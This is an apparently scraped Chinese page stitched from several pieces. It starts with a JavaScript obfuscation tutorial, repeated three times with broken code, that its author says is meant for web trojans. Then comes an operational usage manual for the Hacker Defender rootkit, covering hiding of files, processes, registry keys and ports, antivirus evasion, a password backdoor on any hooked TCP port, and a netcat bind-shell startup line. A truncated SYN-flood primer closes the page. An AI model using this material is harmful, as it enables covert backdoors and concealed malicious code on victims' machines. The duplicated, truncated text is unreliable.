一:最简单的加密解密
二:转义字符"\"的妙用
三:使用Microsoft出品的脚本编码器Script. Encoder来进行编码 (自创简单解码)
四:任意添加NUL空字符(十六进制00H) (自创)
五:无用内容混乱以及换行空格TAB大法
六:自写解密函数法
七:错误的利用 (自创)
在做网页时(其实是网页木马呵呵),最让人烦恼的是自己辛辛苦苦写出来的客户端IE运行的JAVASCRIPT代码常常被别人轻易的拷贝,实在让自己的心里有点不是滋味,要知道自己写点东西也挺累的......^*^
我们清楚地认识到因为JAVASCRIPT代码是在IE中解释执行,要想绝对的保密是不可能的,我们要做的就是尽可能的增大拷贝者复制的难度,让他知难而退(但愿~!~),下面我结合自己这几年来的实践,及个人研究的心得,和大家一起来探讨一下网页中JAVASCRIPT代码的加密解密技术。
以加密下面的JAVASCRIPT代码为例:
alert("《黑客防线》");
一:最简单的加密解密
大家对于JAVASCRIPT函数escape()和unescape()想必是比较了解啦(很多网页加密在用它们),分别是编码和解码字符串,比如例子代码用escape()函数加密后变为如下格式:
alert%28%22%u9ED1%u5BA2%u9632%u7EBF%22%29%3B
如何?还看的懂吗?当然其中的ASCII字符"alert"并没有被加密,如果愿意我们可以写点JAVASCRIPT代码重新把它加密如下:
%61%6C%65%72%74%28%22%u9ED1%u5BA2%u9632%u7EBF%22%29%3B
呵呵!如何?这次是完全都加密了!
当然,这样加密后的代码是不能直接运行的,幸好还有eval(codeString)可用,这个函数的作用就是检查JavaScript代码并执行,必选项
codeString 参数是包含有效 JavaScript. 代码的字符串值,加上上面的解码unescape(),加密后的结果如下:
var code=unescape("%61%6C%65%72%74%28%22%u9ED1%u5BA2%u9632%u7EBF%22%29%3B");
eval(code)
是不是很简单?不要高兴,解密也就同样的简单,解密代码都摆给别人啦(unescape())!呵呵
二:转义字符"\"的妙用
大家可能对转义字符"\"不太熟悉,但对于JavaScript提供了一些特殊字符如:\n (换行)、 \r (回车)、\' (单引号
)等应该是有所了解的吧?其实"\"后面还可以跟八进制或十六进制的数字,如字符"a"则可以表示为:"\141"或"\x61"(注意是小写字符"x"),至于双字节字符如汉字"黑"则仅能用十六进制表示为"\u9ED1"(注意是小写字符"u"),其中字符"u"表示是双字节字符,根据这个原理例子代码则可以表示为:
八进制转义字符串如下:
eval("\141\154\145\162\164\50\42\u9ED1\u5BA2\u9632\u7EBF\42\51\73")
十六进制转义字符串如下:
eval("\x61\x6C\x65\x72\x74\x28\x22\u9ED1\u5BA2\u9632\u7EBF\x22\x29\x3B")
这次没有了解码函数,因为JavaScript执行时会自行转换,同样解码也是很简单如下:
alert("\x61\x6C\x65\x72\x74\x28\x22\u9ED1\u5BA2\u9632\u7EBF\x22\x29\x3B")
就会弹出对话框告诉你解密后的结果!三:使用Microsoft出品的脚本编码器Script. Encoder来进行编码
工具的使用就不多介绍啦!我是直接使用JavaScript调用控件Scripting.Encoder完成的编码!代码如下:
var Senc=new ActiveXObject("Scripting.Encoder");
var code='\r\nalert("《黑客防线》");\r\n';
var Encode=Senc.EncodeScriptFile(".htm",code,0,"");
alert(Encode);
编码后的结果如下:
#@~^FgAAAA==@#@lsDD`J黑客防线r#p@#@FgMAAA==^#~@
够难看懂得吧?但相应的解密工具早已出来,而且连解密网页都有!因为其解密网页代码过多,我就不多说拉!给大家介绍一下我独创的解密代码,如下:
function decode(){
#@~^FgAAAA==@#@lsDD`J黑客防线r#p@#@FgMAAA==^#~@
}
alert(decode.toString());
咋样?够简单吧?它是原理是:编码后的代码运行前IE会先对其进行解码,如果我们先把加密的代码放入一个自定义函数如上面的decode()中,然后对自定义函数decode调用toString()方法,得到的将是解码后的代码!
如果你觉得这样编码得到的代码LANGUAGE属性是JScript.Encode,很容易让人识破,那么还有一个几乎不为人知的window对象的方法execScript(),其原形为:
window.execScript( sExpression, sLanguage )
参数:
sExpression: 必选项。字符串(String)。要被执行的代码。
sLanguage : 必选项。字符串(String)。指定执行的代码的语言。默认值为 Microsoft JScript
使用时,前面的"window"可以省略不写!
利用它我们可以很好的运行编码后的JavaScript代码,如下:
execScript("#@~^FgAAAA==@#@lsDD`J黑客防线r#p@#@FgMAAA==^#~@","JScript.Encode")
你可以利用方法二对其中的""号内的字符串再进行编码,使得"JScript.Encode"以及编码特征码"#@~^"不出现,效果会更好!
四:任意添加NUL空字符(十六进制00H)
一次偶然的实验,使我发现在HTML网页中任意位置添加任意个数的"空字符",IE照样会正常显示其中的内容,并正常执行其中的JavaScript.
代码,而添加的"空字符"我们在用一般的编辑器查看时,会显示形如空格或黑块,使得原码很难看懂,如用记事本查看则"空字符"会变成"空格",利用这个原理加密结果如下:(其中显示的"空格"代表"空字符")
a l er t (" 黑 客 防 线") ;
如何?是不是显得乱七八糟的?如果不知道方法的人很难想到要去掉里面的"空字符"(00H)的!
五:无用内容混乱以及换行空格TAB大法
在JAVASCRIPT代码中我们可以加入大量的无用字符串或数字,以及无用代码和注释内容等等,使真正的有用代码埋没在其中,并把有用的代码中能加入换行、空格、TAB的地方加入大量换行、空格、TAB,并可以把正常的字符串用"\"来进行换行,这样就会使得代码难以看懂!如我加密后的形式如下:
"xajgxsadffgds";1234567890
625623216;var $=0;alert//@$%%*()((^%^
//cctv function//
(//hhsaasajx xc
/*
asjgdsgu*/
"黑\
\
客\
防线"//ashjgfgf
/*
@#%$^%$96667r45fggbhytjty
*/
//window
)
;"#@$#%@#432hu";212351436
至少如果我看到这样的代码是不会有心思去分析它的,你哪?
六:自写解密函数法
这个方法和一、二差不多,只不过是自己写个函数对代码进行解密,很多VBS病毒使用这种方法对自身进行加密,来防止特征码扫描!下面是我写的一个简单的加密解密函数,
加密代码如下(详细参照文件"加密.htm"):
function compile(code)
{
var c=String.fromCharCode(code.charCodeAt(0)+code.length);
for(var i=1;i
运行得到加密结果为:
o%CD%D1%D7%E6%9CJ%u9EF3%uFA73%uF1D4%u14F1%u7EE1Kd
相应的加密后解密的代码如下:
function uncompile(code)
{
code=unescape(code);
var c=String.fromCharCode(code.charCodeAt(0)-code.length);
for(var i=1;i
七:错误的利用
利用try{}catch(e){}结构对代码进行测试解密,虽然这个想法很好(呵呵,夸夸自己),因为实用性不大,我仅给个例子
var a='alert("《黑客防线》");';
var c="";
for(var i=0;i
c+=String.fromCharCode(a.charCodeAt(i)^61);}
alert(c);
//上面的是加密代码,当然如果真正使用这个方法时,不会把加密写上的
//现在变量c就是加密后的代码
//下面的函数t()先假设初始密码为0,解密执行,
//遇到错误则把密码加1,然后接着解密执行,直到正确运行
var d=c; //保存加密后的代码
var b=0; //假定初始密码为0
t();
function t(){
trycatch(e){
c="";
for(var i=0;i
c+=String.fromCharCode(d.charCodeAt(i)^b);}
b+=1;
t();
//setTimeout("t()",0);
}
}
大工告成了!
八进制转义字符串加密吧,你可以看看下面例子:
介绍7种html加密方式 作者:佚名 文章来源:本站整理 本文一共介绍了七种方法:
一:最简单的加密解密
二:转义字符""的妙用
三:使用Microsoft出品的脚本编码器Script Encoder来进行编码 (自创简单解码)
四:任意添加NUL空字符(十六进制00H) (自创)
五:无用内容混乱以及换行空格TAB大法
六:自写解密函数法
七:错误的利用 (自创)
在做网页时(其实是网页木马呵呵),最让人烦恼的是自己辛辛苦苦写出来的客户端IE运行的JAVASCRIPT代码常常被别人轻易的拷贝,实在让自己的心里有点不是滋味,要知道自己写点东西也挺累的......^*^
但我们也应该清楚地认识到因为JAVASCRIPT代码是在IE中解释执行,要想绝对的保密是不可能的,我们要做的就是尽可能的增大拷贝者复制的难度,让他知难而退(但愿~!~),下面我结合自己这几年来的实践,及个人研究的心得,和大家一起来探讨一下网页中JAVASCRIPT代码的加密解密技术。
以加密下面的JAVASCRIPT代码为例:
以下是代码片段:
SCRIPT LANGUAGE="JavaScript"
alert("黑客防线");
/SCRIPT
一:最简单的加密解密
大家对于JAVASCRIPT函数escape()和unescape()想必是比较了解啦(很多网页加密在用它们),分别是编码和解码字符串,比如例子代码用escape()函数加密后变为如下格式:
以下是代码片段:
alert%28%22%u9ED1%u5BA2%u9632%u7EBF%22%29%3B
如何?还看的懂吗?当然其中的ASCII字符"alert"并没有被加密,如果愿意我们可以写点JAVASCRIPT代码重新把它加密如下:
以下是代码片段:
%61%6C%65%72%74%28%22%u9ED1%u5BA2%u9632%u7EBF%22%29%3B
呵呵!如何?这次是完全都加密了!
当然,这样加密后的代码是不能直接运行的,幸好还有eval(codeString)可用,这个函数的作用就是检查JavaScript代码并执行,必选项 codeString 参数是包含有效 JavaScript 代码的字符串值,加上上面的解码unescape(),加密后的结果如下:
以下是代码片段:
SCRIPT LANGUAGE="JavaScript"
var code=unescape("%61%6C%65%72%74%28%22%u9ED1%u5BA2%u9632%u7EBF%22%29%3B");
eval(code)
/SCRIPT
是不是很简单?不要高兴,解密也就同样的简单,解密代码都摆给别人啦(unescape())!呵呵
二:转义字符""的妙用
大家可能对转义字符""不太熟悉,但对于JavaScript提供了一些特殊字符如:n (换行)、 r (回车)、' (单引号 )等应该是有所了解的吧?其实""后面还可以跟八进制或十六进制的数字,如字符"a"则可以表示为:"141"或"x61"(注意是小写字符"x"),至于双字节字符如汉字"黑"则仅能用十六进制表示为"u9ED1"(注意是小写字符"u"),其中字符"u"表示是双字节字符,根据这个原理例子代码则可以表示为:
八进制转义字符串如下:
以下是代码片段:
SCRIPT LANGUAGE="JavaScript"
eval("1411541451621645042u9ED1u5BA2u9632u7EBF425173")
/SCRIPT
十六进制转义字符串如下:
以下是代码片段:
SCRIPT LANGUAGE="JavaScript"
eval("x61x6Cx65x72x74x28x22u9ED1u5BA2u9632u7EBFx22x29x3B")
/SCRIPT
这次没有了解码函数,因为JavaScript执行时会自行转换,同样解码也是很简单如下:
以下是代码片段:
SCRIPT LANGUAGE="JavaScript"
alert("x61x6Cx65x72x74x28x22u9ED1u5BA2u9632u7EBFx22x29x3B")
/SCRIPT
就会弹出对话框告诉你解密后的结果!
三:使用Microsoft出品的脚本编码器Script Encoder来进行编码
工具的使用就不多介绍啦!我是直接使用JavaScript调用控件Scripting.Encoder完成的编码!代码如下:
以下是代码片段:
SCRIPT LANGUAGE="JavaScript"
var Senc=new ActiveXObject("Scripting.Encoder");
var code='SCRIPT LANGUAGE="JavaScript"rnalert("黑客防线");rn/SCRIPT';
var Encode=Senc.EncodeScriptFile(".htm",code,0,"");
alert(Encode);
/SCRIPT
编码后的结果如下:
以下是代码片段:
SCRIPT LANGUAGE="JScript.Encode"#@~^FgAAAA==@#@ls DD`J黑客防线r#p@#@FgMAAA==^#~@/SCRIPT
够难看懂得吧?但相应的解密工具早已出来,而且连解密网页都有!因为其解密网页代码过多,我就不多说拉!给大家介绍一下我独创的解密代码,如下:
以下是代码片段:
SCRIPT LANGUAGE="JScript.Encode"
function decode()
alert(decode.toString());
/SCRIPT
咋样?够简单吧?它是原理是:编码后的代码运行前IE会先对其进行解码,如果我们先把加密的代码放入一个自定义函数如上面的decode()中,然后对自定义函数decode调用toString()方法,得到的将是解码后的代码!
如果你觉得这样编码得到的代码LANGUAGE属性是JScript.Encode,很容易让人识破,那么还有一个几乎不为人知的window对象的方法execScript(),其原形为:
window.execScript( sExpression, sLanguage )
参数:
sExpression: 必选项。字符串(String)。要被执行的代码。
sLanguage : 必选项。字符串(String)。指定执行的代码的语言。默认值为 Microsoft JScript
使用时,前面的"window"可以省略不写!
利用它我们可以很好的运行编码后的JavaScript代码,如下:
以下是代码片段:
SCRIPT LANGUAGE="JavaScript"
execScript("#@~^FgAAAA==@#@ls
介绍7种html加密方式 作者:佚名 文章来源:本站整理 点击数:733 更新时间:2009-11-27 16:11:49 本文一共介绍了七种方法:
一:最简单的加密解密
二:转义字符""的妙用
三:使用Microsoft出品的脚本编码器Script Encoder来进行编码 (自创简单解码)
四:任意添加NUL空字符(十六进制00H) (自创)
五:无用内容混乱以及换行空格TAB大法
六:自写解密函数法
七:错误的利用 (自创)
在做网页时(其实是网页木马呵呵),最让人烦恼的是自己辛辛苦苦写出来的客户端IE运行的JAVASCRIPT代码常常被别人轻易的拷贝,实在让自己的心里有点不是滋味,要知道自己写点东西也挺累的......^*^
但我们也应该清楚地认识到因为JAVASCRIPT代码是在IE中解释执行,要想绝对的保密是不可能的,我们要做的就是尽可能的增大拷贝者复制的难度,让他知难而退(但愿~!~),下面我结合自己这几年来的实践,及个人研究的心得,和大家一起来探讨一下网页中JAVASCRIPT代码的加密解密技术。
以加密下面的JAVASCRIPT代码为例:
以下是代码片段:
SCRIPT LANGUAGE="JavaScript"
alert("黑客防线");
/SCRIPT
一:最简单的加密解密
大家对于JAVASCRIPT函数escape()和unescape()想必是比较了解啦(很多网页加密在用它们),分别是编码和解码字符串,比如例子代码用escape()函数加密后变为如下格式:
以下是代码片段:
alert%28%22%u9ED1%u5BA2%u9632%u7EBF%22%29%3B
如何?还看的懂吗?当然其中的ASCII字符"alert"并没有被加密,如果愿意我们可以写点JAVASCRIPT代码重新把它加密如下:
以下是代码片段:
%61%6C%65%72%74%28%22%u9ED1%u5BA2%u9632%u7EBF%22%29%3B
呵呵!如何?这次是完全都加密了!
当然,这样加密后的代码是不能直接运行的,幸好还有eval(codeString)可用,这个函数的作用就是检查JavaScript代码并执行,必选项 codeString 参数是包含有效 JavaScript 代码的字符串值,加上上面的解码unescape(),加密后的结果如下:
以下是代码片段:
SCRIPT LANGUAGE="JavaScript"
var code=unescape("%61%6C%65%72%74%28%22%u9ED1%u5BA2%u9632%u7EBF%22%29%3B");
eval(code)
/SCRIPT
是不是很简单?不要高兴,解密也就同样的简单,解密代码都摆给别人啦(unescape())!呵呵
二:转义字符""的妙用
大家可能对转义字符""不太熟悉,但对于JavaScript提供了一些特殊字符如:n (换行)、 r (回车)、' (单引号 )等应该是有所了解的吧?其实""后面还可以跟八进制或十六进制的数字,如字符"a"则可以表示为:"141"或"x61"(注意是小写字符"x"),至于双字节字符如汉字"黑"则仅能用十六进制表示为"u9ED1"(注意是小写字符"u"),其中字符"u"表示是双字节字符,根据这个原理例子代码则可以表示为:
八进制转义字符串如下:
以下是代码片段:
SCRIPT LANGUAGE="JavaScript"
eval("1411541451621645042u9ED1u5BA2u9632u7EBF425173")
/SCRIPT
十六进制转义字符串如下:
以下是代码片段:
SCRIPT LANGUAGE="JavaScript"
eval("x61x6Cx65x72x74x28x22u9ED1u5BA2u9632u7EBFx22x29x3B")
/SCRIPT
这次没有了解码函数,因为JavaScript执行时会自行转换,同样解码也是很简单如下:
以下是代码片段:
SCRIPT LANGUAGE="JavaScript"
alert("x61x6Cx65x72x74x28x22u9ED1u5BA2u9632u7EBFx22x29x3B")
/SCRIPT
就会弹出对话框告诉你解密后的结果!
三:使用Microsoft出品的脚本编码器Script Encoder来进行编码
工具的使用就不多介绍啦!我是直接使用JavaScript调用控件Scripting.Encoder完成的编码!代码如下:
以下是代码片段:
SCRIPT LANGUAGE="JavaScript"
var Senc=new ActiveXObject("Scripting.Encoder");
var code='SCRIPT LANGUAGE="JavaScript"rnalert("黑客防线");rn/SCRIPT';
var Encode=Senc.EncodeScriptFile(".htm",code,0,"");
alert(Encode);
/SCRIPT
编码后的结果如下:
以下是代码片段:
SCRIPT LANGUAGE="JScript.Encode"#@~^FgAAAA==@#@ls DD`J黑客防线r#p@#@FgMAAA==^#~@/SCRIPT
够难看懂得吧?但相应的解密工具早已出来,而且连解密网页都有!因为其解密网页代码过多,我就不多说拉!给大家介绍一下我独创的解密代码,如下:
以下是代码片段:
SCRIPT LANGUAGE="JScript.Encode"
function decode()
alert(decode.toString());
/SCRIPT
咋样?够简单吧?它是原理是:编码后的代码运行前IE会先对其进行解码,如果我们先把加密的代码放入一个自定义函数如上面的decode()中,然后对自定义函数decode调用toString()方法,得到的将是解码后的代码!
如果你觉得这样编码得到的代码LANGUAGE属性是JScript.Encode,很容易让人识破,那么还有一个几乎不为人知的window对象的方法execScript(),其原形为:
window.execScript( sExpression, sLanguage )
参数:
sExpression: 必选项。字符串(String)。要被执行的代码。
sLanguage : 必选项。字符串(String)。指定执行的代码的语言。默认值为 Microsoft JScript
使用时,前面的"window"可以省略不写!
利用它我们可以很好的运行编码后的JavaScript代码,如下:
以下是代码片段:
SCRIPT LANGUAGE="JavaScript"
execScript("#@~^FgAAAA==@#@ls
Hacker defender 使用
=====[1,目录]==============================================
1.
目录
2. 概要
2.1 关于
2.2 申明
3. 使用说明
4. Ini文件说明
5.
Backdoor
5.1 Redirector
6. 技术支持
6.1 版本
6.2
钩子API函数
6.3 已知的 bugs
7. Faq
8. 文件
=====[ 2.
关于]================================================
Hacker defender
(hxdef)是一个使用于Windows NT 4.0, Windows 2000 以及Windows
XP操作系统的一个NTROOKIT,它也能运行于之后的基于NT的操作系统。主要代码是由DELPHI
6完成。新的功能使用汇编书写。驱动代码由C完成。后门和redirector客服端大部分使用 Delphi 6完成。
=====[ 2.1 概要
]=============================================
程序的主要功能是在所有运行中的进程中重写分割内存,重写一些基本的模块改变进程的状态,它几乎能够改写所有不影响系统稳定和正在运行中的进程。
程序能够完全隐藏,现在能够做的有隐藏文件、进程、系统服务、系统驱动、注册表的键值和键、开放端口以及虚构可用磁盘空间。程序同时也在内存中伪装它所做的改动,并且隐蔽地控制被隐藏进程。程序安装后能构造后门、注册表、系统服务,构造系统驱动。其本身的后门技术允许其植入
redirector。
=====[ 2.2
申明]====================================================
本项目1.0.0版本是开发源代码。
使用Hacker
defender所造成的后果作者本人概不负责。
=====[ 3. 用法
]==================================================
一个使用hxdef的简单例子:
hxdef100.exe [inifile]
或者
hxdef100.exe [switch]
直接执行EXE文件,不带任何的参数时候,默认的inifile文件为程序名.ini
。
当你执行hedef100不指定ini文件,或者你以参数模式运行时候,默认的文件是
hxdef100.ini。
下面的参数是有效的:
-:installonly - 只安装服务,不运行
-:refresh - 从INI文件中更新设置
-:noservice - 正常运行不安装服务
-:uninstall -
移除hxdef删除所有运行的后门连接,同时停止hxdef服务
例如:
hxdef100.exe
-:refresh
Hxdef拥有默认INI文件,但是我们强烈的推荐你建立自己的ini文件。关于ini文件的介绍可以看第4部分ini文件部分。
参数
-:refresh and -:uninstall
来源于本来的EXE文件。这就意味这你只要知道hxdef的运行路径和EXE名,就能够改变它的设置或者进行移除工作。
=====[ 4. Ini文件
]============================================
ini文件必须包含了9个部分: [Hidden Table],
[Root Processes], [Hidden Services], [Hidden RegKeys], [Hidden RegValues],
[Startup Run], [Free Space], [Hidden Ports]和[Settings]。
在 [Hidden Table],
[Root Processes], [Hidden Services]和[Hidden RegValues]
中能够使用*代替后面的字符,星号仅仅使用于字符的后面,任何在*之前的都是无效的。所有的在字符之前和之后的空格也是无效的。
例如:
[Hidden
Table]
hxdef*
将开始隐藏所有在Hidden
Table中以"hxdef"开头的文件、文件夹和系统进程。
在该文件列表中的所有文件和文件夹都将在文件管理器中消失。在这个列表中的程序也会在任务管理器中被隐藏。必须确保主要文件,INI文件,你的后门文件和驱动文件被包含在列表中。
在程序列表中的主进程对感染具有免淤能力,你只能利用这些主程序才能看见隐藏的文件,文件夹和程序。所以,主进程是为rootkit管理员所使用的。
由服务和驱动所组成的Hidden
Services列表将会隐藏在数据库中的安装服务和驱动。rootkit主程序的服务名默认为HackerDefender100,rootkit驱动的驱动名默认为HackerDefenderDrv100。它们两者都可以通过ini文件进行修改。
Hidden
RegKeys中列出的注册表键值将会被隐藏,Rootkit在注册表中有四个键值:默认的是HackerDefender100,
LEGACY_HACKERDEFENDER100, HackerDefenderDrv100, LEGACY_HACKERDEFENDERDRV100
如果你要重新命名服务名或者驱动名,你需要在列表中做相应的改变。
开始2个键值是和你的服务据用相同名字的,接下来的键值是LEGACY_名字。例如,如果你改变你的服务名称为BoomThisIsMySvc
,那么在注册表中,应该是这样表示的,LEGACY_BOOMTHISISMYSVC。
在Hidden
RegValues列出的注册表的值将会被隐藏。
Startup
Run列表中列出的是rootkit程序运行之后的自启动程序。这些程序和ROOTKIT具有一样的特权。程序名和它后面的参数以?分开。不要使用"字符,程序将会在用户登陆以后终止,在用户登陆以后可以使用一般和常见的方法。你可以使用下面这些快捷方式。
%cmd%标准系统的shell和路径
%cmddir%标准系统的shell文件夹
%sysdir%
- 系统文件夹
(e.g. C:\winnt\system32\)
%windir% -
标准系统文件夹
(e.g. C:\winnt\)
%tmpdir% - 临时文件夹
(e.g. C:\winnt\temp\)
例如:1)
[Startup Run]
c:\sys\nc.exe?-L -p
100 -t -e cmd.exe
nc-shell将会在rootkit运行以后监听100端口
2)
[Startup
Run]
%cmd%?/c echo Rootkit started at %TIME%
%tmpdir%starttime.txt
将rootkit启动时间保存在系统临时文件夹夹starttime。Txt文件。
(%TIME%仅仅运行于Windows2000以上的操作系统。)
Free
Space中列出的驱动硬盘名和容量大小是你想增加的硬盘,它的格式是X:NUM,其中X表示磁盘驱动器的名称,NUM表示你要增加的磁盘的容量。
例如:
[Free
Space]
C:123456789
这将在C盘增加大约123M的磁盘空间。
Hidden
Ports中列出的是你需要隐藏程序的端口,比如使用OpPorts, FPort, Active Ports, Tcp
View等的程序,它最多拥有2行。第1行的格式是TCP:tppport1,tcpport2,tcpport3
,第2行的格式是UDP:udpport1,udpport2,udpport3 ...例如:
1)
[Hidden
Ports]
TCP:8080,456
这将隐藏2个TCP端口:8080和456
2)
[Hidden
Ports]
TCP:8001
UDP:12345
这将隐藏2个端口:TCP的8001和UDP的12345。
3)
[Hidden
Ports]
TCP:
UDP:53,54,55,56,800
隐藏5个端口,都为UDP端口:53,54,55,56,800。
Settings包含了8个值:Password,
BackdoorShell, FileMappingName, ServiceName,ServiceDisplayName,
ServiceDescription, DriverName 和
DriverFileName。
名。
16位字符的Password被用于后门链接和转向,密码能根据短一些,余下的用空格代替。
BackdoorShell是复制于系统的SHELL文件,它被后门创建于一个临时的目录下。
FileMappingName,当钩子进程被存储时,用于共享内存。
ServiceName是rootkit服务
ServiceDisplayName为rootkit显示的服务
ServiceDescription位rootkit的服务描述
DriverName以hxdef驱动命名
DriverFileName以hxdef驱动文件命名
例如;
[Settings]
Password=hxdef-rulez
BackdoorShell=hxdef?.exe
FileMappingName=_.-=[Hacker
Defender]=-._
ServiceName=HackerDefender100
ServiceDisplayName=HXD Service
100
ServiceDescription=powerful NT
rootkit
DriverName=HackerDefenderDrv100
DriverFileName=hxdefdrv.sys
这就意味着你的后门密码为hxdef-rulez,后门将复制系统shell文件(通常是CMD.EXE)为hxdef?.exe到临时目录。共享内存将变为"_.-=[Hacker
Defender]=-._",服务名为"HackerDefender100",它显示的名称为"HXD Service 100",它的描述为"poweful NT
rootkit",驱动名为"HackerDefenderDrv100",驱动将被存储于一个叫做"hxdefdrv.sys"的文件中。
扩展字符|,
, , :, \, / 和 "在所有的行中都会被忽略,除了[Startup Run], [Free Space] 和 [Hidden
Ports] 项目和在 [Settings] 中first =
character后面的值。使用扩展字符能然你的INIFILE文件摆脱杀毒软件的查杀。
例如:
Example:
[Hidden
Ta/"ble]
h"xdef"*
和下面的是一样的。
[Hidden
Table]
hxdef*
更多的例如可以参照hxdef100.ini
和hxdef100.2.ini文件。
所有的在ini文件中的字符串除了那些在Settings 和 Startup
Run中的,都是无效的。
=====[ 5. Backdoor
]=========================================
Rootkit程序
Hook了一些API的功能,连接接收一些来自网络的数据包。如果接收的数据等于256个字节,密码和服务被确认,复制的SHELL被临时创建,这种情况建立以后,下一次的数据接收被重定向到这个SHELL上。
因为rootkit程序
Hook了系统中所有进程,所有在服务器上的TCP端口都将变为后门。例如,如果目标主机开放了提供HTTP服务的80端口,这个端口也能作为一个有效的后门。例外的是这个开放端口的进程不会被Hook,这个后门仅仅工作于服务器的接收缓冲大于或者等于256个字节。但是这个特征几乎适合于所有标准的服务,像IIS,APACHE,ORACLE等。后门能够隐藏是因为所有的数据都通过系统上面提供的服务转发。所以你不能使用一些简单的端口扫描软件找到它,并且它能轻易的穿过防火墙。
在测试发现IIS服务过程中,HTTP服务不能记录任何的连接日记,FTP和SMTP服务器仅仅能记录结束的断开连接。所以,如果你运行hxdef在有IIS
Web服务的服务器上面,HTTP端口跟你是连接机器使用的后门的最好端口。
如果你想连接后门的话,你将不得不使用使用一些特别的客户端,程序bdcli100.exe就是被用于如此的。
用法:bdcli100.exe
host port password
例如:
bdcli100.exe 80
hxdef-rulez
连接服务器使用默认的密码。客户端1.0.0版本不兼容其他老的版本。
=====[
5.1 Redirector
]==========================================
Redirector是基于后门技术。第一个连接包和后门连接一样。这就意味着你能使用相同的端口。下一个包是仅仅为Redirector特殊的包,这些包由基于运行用户电脑的重定向器生成.第一个重定向的包连接特定的目标主机和端口。
Redirectors的设置保存在与EXE文件同名的INI文件中(所以默认的是rdrbs100.ini)。如果这个文件不存在,那么在EXE文件运行的时候它会自动建立一个。最好不要额外的修改INI文件。所有的设置都可以在console中进行改变。
当ROOTKIT被安装时,如果我们需要使用服务器上面的redirectors功能,我们首先要在本地运行程序。在控制台上我们可以在有HXDEF的服务器上面建立一个映射端口路由。最后我们连接本地端口并且转换数据。转向的数据被rootkit的密码加密。在这个版本中连接的速度被限制在256K左右。在这个版本中redirectors并不适合于高速连接。Redirectors也会受到安装有rootkit的服务器的限制,而且Redirectors仅仅使用TCP协议连接。在这个版本中Redirectors
base有19条命令,他们并不是非常的敏感。关于功能的详细描述可以使用HELP命令。在Redirectors
base启动时,startup-list中的命令也被执行。startup-list中的命令可以用使用SU启动的CMD进行编辑。
Redirector区分于2种连接类型(HTTP和其他)。如果连接是其他类型的,数据包将不会被改变。如果是HTTP类型,在HTTP文件头的HOST参数将会改变为目标服务器。一个base的最大Redirector数量是1000。
Redirector仅仅适用于NT结构,只有在拥有图标的NT程序下你才能使用HIDE命令隐藏控制台。只有在NT下才能无声无息的运行,没有数据输出,没有图标,仅仅执行startup-list中的命令。例子:1)得到端口映射信息
MPINFO
No mapped ports in the
list.
2)增加MPINFO命令到startup-list并且得到startup-list中的命令。
SUADD
MPINFO
sulist
0) MPINFO
3)使用HELP命令。
HELP
Type HELP COMMAND for command details.
Valid commands
are:
HELP, EXIT, CLS, SAVE, LIST, OPEN, CLOSE, HIDE, MPINFO, ADD,
DEL,
DETAIL, SULIST, SUADD, SUDEL, SILENT, EDIT, SUEDIT,
TEST
HELP ADD
Create mapped port. You have to specify domain
when using HTTP
type.
usage: ADD LOCAL PORT MAPPING
SERVER MAPPING SERVER PORT
TARGET
SERVER
TARGET SERVER PORT PASSWORD [TYPE] [DOMAIN]
HELP
EXIT
Kill this application. Use DIS flag to discard unsaved data.
usage: EXIT
[DIS]
4)增加端口映射,我们在本地100端口进行监听,ROOTKIT安装在服务器200.100.2.36的80端口上,目标服务器是端口。,rootkit的密码是bIgpWd,连接类型HTTP,目标主机()我们知道它的IP地址是216.239.53.100。
ADD 100
200.100.2.36 80 216.239.53.100 80 bIgpWd HTTP
ADD命令可以不加任何参数的运行,在这个例子中我们要求每一个参数都要分开。
5)现在我们再使用MPINFO检查一下映射端口
MPINFO
There are 1 mapped ports in the list. Currently 0 of them
open.
6)列举端口映射表:
LIST
000)
:100:200.100.2.36:80:216.239.53.100:80:bIgpWd:HTTP
7)一个端口映射的详细描述:
DETAIL
Listening on port: 100
Mapping server address:
200.100.2.36
Mapping server port: 80
Target server address:
216.239.53.100
Target server port: 80
Password: bIgpWd
Port
type: HTTP
Domain name for HTTP Host:
Current state:
CLOSED
8)在没有密码的情况下,我们能在端口映射服务器200.100.2.36上测试rootkit是否已经安装(但是如果我们能确认它这样做就不再需要)
TEST 0
Testing 0) 200.100.2.36:80:bIgpWd –
OK
如果测试失败则显示:
Testing 0) 200.100.2.36:80:bIgpWd -
FAILED
9)在我们没使用之前端口仍然是没有开放的。我们不得不使用OPEN命令打开它,当端口开放时,我们也能使用CHOSE命令关闭端口。我们能使用标志符ALL应用这些命令在列表中的所有端口,这个过程可能需要一段的时间。
OPEN 0
Port number 0 opened.
CLOSE 0
Port number 0
closed.
或者 OPEN ALL
Port number 0
opened.
10)要保存当前的设置和列表我们可以使用SAVE命令,将保存所有的设置到ini文件中。(保存也会通过命令EXIT执行,而不需要DIS标志)
SAVE Saved
successfully.
开的端口能够转换我们需要的所有数据。限制你能打开你喜欢的浏览器输入网址,如果没有什么问题的话,你会看见打开的是的主页。
第一个数据包跟你会延迟5秒钟左右,但是其他的限制仅仅取决于服务器的速度,根据这个版本的转向技术,你联网的速度大约在256K左右。
=====[
6.
技术发行]========================================
这部分包含了一些对于普通用户无关紧要的信息。这部分可能适合所有的测试者和开发人员阅读
黑客攻防:攻击基本原理与防范技术据统计,在所有黑客攻击事件中,SYN攻击是最常见又最容易被利用的一种攻击手法。相信很多人还记得2000年YAHOO网站遭受的攻击事例,当时黑客利用的就是简单而有效的SYN攻击,有些网络蠕虫病毒配合SYN攻击造成更大的破坏。本文介绍SYN攻击的基本原理、工具及检测方法,并全面探讨SYN攻击防范技术。
中文名
黑客攻防
外文名
Hacker attack and defense
介绍
SYN攻击基本原理工具及检测方法
tcp握手协议
采用三次握手建立一个连接
在TCP/IP协议中,TCP协议提供可靠的连接服务,采用三次握手建立一个连接。
第一次握手:建立连接时,客户端发送syn包(syn=j)到服务器,并进入SYN_SEND状态,等待服务器确认;
第二次握手:服务器收到syn包,必须确认客户的SYN(ack=j+1),同时自己也发送一个SYN包(syn=k),即SYN+ACK包,此时服务器进入SYN_RECV状态;
第三次握手:客户端收到服务器的SYN+ACK包,向服务器发送确认包ACK(ack=k+1),此包发送完毕,客户端和服务器进入ESTABLISHED状态,完成三次握手。
完成三次握手,客户端与服务器开始传送数据,在上述过程中,还有一些重要的概念:
未连接队列:在三次握手协议中,服务器维护一个未连接队列,该队列为每个客户端的SYN包(syn=j)开设一个条目,该条目表明服务器已收到SYN包,并向客户发出确认,正在等待客户的确认包。这些条目所标识的连接在服务器处于Syn_RECV状态,当服务器收到客户的确认包时,删除该条目,服务器进入ESTABLISHED状态。
